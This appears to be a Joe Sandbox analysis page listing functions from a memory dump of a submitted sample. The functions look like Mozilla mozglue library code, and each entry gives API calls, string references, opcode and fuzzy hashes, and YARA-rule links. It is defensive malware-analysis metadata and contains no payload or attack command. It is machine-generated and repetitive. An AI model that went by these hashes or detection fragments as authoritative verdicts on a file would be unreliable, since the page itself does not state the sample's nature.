Instruction ID: 887d9541ee8b8f1bc49a371b306a8a76cfecafe2707d221ac527b4a45cccda19
Opcode Fuzzy Hash: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
Instruction Fuzzy Hash: 7362997160C3858FD70ACE29C49075ABBF6AF87358F184A0DE4E54BE91C3369985CF92

Function 6C38545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C388A4B

Strings

~q1l, xrefs: 6C389459, 6C389269, 6C38921F, 6C385703, 6C3856C7, 6C385740, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a1572309a693cf199404927a86c75e2171fa73d0bfe2f67807c01d99d1b954d0
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: E6B1E772E0221A8FDB14CF68CC907E9B7B6EF85314F1802A9C589EB785D7309985CF91

Function 6C38542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C38925C

Strings

~q1l, xrefs: 6C389459, 6C389269, 6C38921F, 6C385703, 6C3856C7, 6C385740, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b8def70219001be00f4b3a4594d5b699bf938279fc9ce2e8000663447e300a54
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CBB1C572E0220A8FDB14CF68CC816ADB7B6EF85314F140269C949EB785D730A989CF91

Function 6C37C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37C0E9), ref: 6C37C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C37C437
FreeLibrary.KERNEL32(?,6C37C0E9), ref: 6C37C44C

Strings

NtQueryVirtualMemory, xrefs: 6C37C431
ntdll.dll, xrefs: 6C37C413

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction ID: 5d89f80d072b9adb5fd273ba9dc72a1442d82c17d205f68b66f9b9f17900ac86
Opcode Fuzzy Hash: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction Fuzzy Hash: 6BE0B670A193119BDF61BF79E9087157BFCA70E208F10411AFA0495601FBBBC0108F64

Function 6C329F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C32AB22
@, xrefs: 6C32A625
0, xrefs: 6C32A100
' , xrefs: 6C32A3D8
1, xrefs: 6C32A824
9, xrefs: 6C32A5D6

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction ID: 19f3c95ce5465a3cdb268f4a2f97f8b744f1e775069c3cd2d758c2c2309b219f
Opcode Fuzzy Hash: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction Fuzzy Hash: BA82D1315093158FDF11CF09C4902AEB7F1FB85718F658A2AE8D557A90D33EA886CF92

Function 6C31BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C31C1CB
__aulldiv.LIBCMT ref: 6C31C24C
__aulldiv.LIBCMT ref: 6C31C348
__aullrem.LIBCMT ref: 6C31C365
__aulldiv.LIBCMT ref: 6C31C37D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8a759e89afb4d32f0649d4118186f1a954d6c3289017c131e43661cb9902ad16
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4F322432B086118FC718DE2CC890A56BBE6AFC9314F09867DE899CB795D730ED05CB91

Function 6C3677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C367A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C367A93

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C367AA1

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C367B31

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction ID: 4b8f5228f19b642985c592a70c519068e6fd6793766a2a47b9d5124cf8fe7b07
Opcode Fuzzy Hash: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction Fuzzy Hash: 12B19A316083808BCB14CF26C05069FB7E2AFCA318F554A1DE99567B94DB71E90ACF83

Function 6C338850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C3397EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C339813, 6C33985D, 6C339878, 6C339CEB

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 1d45621758d9491d6d872133a1e312db345c6ff145fbefb85baabb1afa8e659c
Instruction ID: fa17c87b14f9bcabc42756075b2822ef43d1e8a1994e3190e8422f8b478e31f0
Opcode Fuzzy Hash: 1d45621758d9491d6d872133a1e312db345c6ff145fbefb85baabb1afa8e659c
Instruction Fuzzy Hash: 55D27B71A05751CFD708CF18C590615BBE1BF85328B29C76EE86E8B6A5CB32E841CF81

Function 6C356CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C356D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356E1E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction ID: 9584d0f4ac03d77732cf698e288a146d3f034309f609b93160d64da7219ceff7
Opcode Fuzzy Hash: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction Fuzzy Hash: D7A15C74A183818FD715CF25C490BAEBBF6BF89308F44491DE48A87B51DB71A858CF92

Function 6C37B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C34FE3F), ref: 6C37B720
RtlNtStatusToDosError.NTDLL ref: 6C37B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C34FE3F), ref: 6C37B760

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction ID: 1a191430da3f229c9e6abf6920ab0398d814eae4a876f045ec699164f197aaaa
Opcode Fuzzy Hash: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction Fuzzy Hash: 09F0AFB0A0024CAEEF119AA19C84BEEB7BD9F0431EF105229E551696C0D77D958CCEB5

Function 6C334640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C334777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C335585, 6C3355A8, 6C3355C3, 6C335624

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction ID: 793d035335e6dcc9c40ea4488f944b00242d417fca16eb798ed45d2961f4698f
Opcode Fuzzy Hash: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction Fuzzy Hash: 30B26B71A056518FD308CF19C590715BBE2BFC5328B29C7ADE86E8B6A5D772E841CF80

Function 6C3785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C378C7C
__aulldiv.LIBCMT ref: 6C378DD7

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: c1d15562415a52cc6081d7fb3fc22ad70825917ec9708e21966e8b7added58e2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 80327031F111198BDF18CE9CC4A17AEF7B6FB88300F15852AD506BB790DA389D458FA6

Function 6C3876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C3879C0, 6C38793C, 6C387B0B, 6C3879FB, 6C387E0B, 6C387796

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: fbcfc2997332382710ec645ae60e2529e1bab6eedda09dde90eb6063df82301f
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 11321971E016198FCB14CF98C890AADFBF2FF89308F648169D949A7745D731A986CF90

Function 6C386E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C3879C0, 6C38793C, 6C387B0B, 6C387C03, 6C387C72, 6C3879FB, 6C387E0B

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: acb0ff0d6308a3136bc5eaa194b37ea42c950ee2d1a0a66009a94b302fc3625a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6722F871E012198FCB14CF98C880AADF7F6FF89308F6481A9D949A7745D731A986CF90

Function 6C355C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C324A63,?,?), ref: 6C355F06

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction ID: 2153537bfede8a12567d17b7364ff34d0614981ceeaf71348ccb762e72a8f1ac
Opcode Fuzzy Hash: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction Fuzzy Hash: B0C1AF75E012498BCB04CF95C590AEEBBF2FF8A318F684159D8556BB44D732A816CF90

Function 6C31DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction ID: 242745d6d5f07a350ea57695122eb292decc45decac03f1deceeeb921eba80b3
Opcode Fuzzy Hash: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction Fuzzy Hash: E542C272A187508FD308CE3CC49075AB3E6BFC9364F094B2DE999A7B90D735D9418B82

Function 6C340512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 21f467ff4fd8320d430ab95d07bba29d9a9db988d66da3e47e5eb9a7e274f16e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE22F575E046298FDB14CF98C890AADFBF2FF88308F548699C44AA7745D731A985CF90

Function 6C38AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction ID: c69529d33609b424e18bf8a7b219c62bc5678f2573d4ae5e8e1c48fcfa30a36d
Opcode Fuzzy Hash: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction Fuzzy Hash: 1DF1387160A7458FD700CF28C8907AAB7E6AFC5318F188A2DE5D4CB7C1E77598498F92

Function 6C31C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b103a43e21c2562c89e18501db0db1395f2e503fd3ac48c3d83b475b6ed1bb77
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA19E71F0421A8FDB08CE69D8913AEB7E2AFC8354F188139D915A7B81DB749C068F90

Function 6C357710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction ID: 139bf9298ae137f5c1fbf59de3a2b7a8fa5afc85def00e27a4525a8d50f6c049
Opcode Fuzzy Hash: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction Fuzzy Hash: E8718B71E112198FCB08CFA8D8909EDBBB6FF89314F64812ED816AB740D731A905CF90

Function 6C35CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C32582D), ref: 6C35CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C32582D), ref: 6C35CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C38FE98,?,?,?,?,?,6C32582D), ref: 6C35CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C35CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C35CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C35CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C35CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C35CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C35CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C35CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C35CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C35CDC4
